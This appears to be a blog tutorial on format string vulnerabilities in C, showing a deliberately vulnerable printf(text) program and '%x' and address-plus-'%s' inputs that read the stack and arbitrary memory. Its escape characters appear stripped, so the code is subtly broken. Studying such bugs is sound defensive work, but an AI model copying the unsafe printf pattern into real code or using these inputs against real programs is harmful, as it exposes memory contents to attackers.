Spread the love

I have to admit that I’ve heard of format string vulnerabilities but I never knew exactly what they were. After reading about them in Hacking: The Art of Exploitation I’m surprised I didn’t know more about them since they are extremely dangerous! Take this code for instance:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];

   if(argc < 2) {
      printf("Usage: <text to print>n", argv[0]);
      exit(0);
   }
   strncpy(text, argv[1], 1024);
   printf(text);

   printf("n");

   return EXIT_SUCCESS;
}

Normal usage would look like this:

nobody@nobody:~$ ./text_to_print "Hello World!"
Hello World!

Looks harmless right? It’s not! This code is very vulnerable to a format string vulnerability. The problem is, the call to printf, should have been:

 printf("%s", text);

Why does it matter? Well the way that printf works is that all of the variable arguments for the format strings are passed in reverse order onto the stack. Printf then parses the input until it reaches a format character and references the argument on the stack based on the index of the format character.

If we specially craft the input to take format characters, printf will mistakenly reference previous elements on stack. We can use this to effectively read the stack. For instance

nobody@nobody:~$ ./text_to_print "AAAA %x %x %x %x"
AAAA bffff9ba 3f0 0 41414141

It gets better though! The previous stack frame before printf is called contains the string argument passed to printf. Did you notice in the output above, the last ‘%x’ printed the first ‘AAAA’?

We can use this to read the contents of any memory address by putting the address we want to read at the first of the string, followed by 3 stack positions (8 bytes each), and then putting a ‘%s’ format character at the 4th position to read our address. Like this (the ‘+’ is used to separate for readability)

nobody@nobody:~$ ./text_to_print $(printf "x34xf8xffxbf")%08x%08x%08x%s
4���bffff9b5+000003eb+00000000+

or with Python like this

nobody@nobody:~$ ./text_to_print $(printf "x34xf8xffxbf")$(python -c 'print "%08x+"*3')%s
4���bffff9b5+000003eb+00000000+

00000000 is the contents of address xbffff834!

More to come on using format string vulnerabilities to write to any place in memory in Part Two of Format String Vulnerabilities!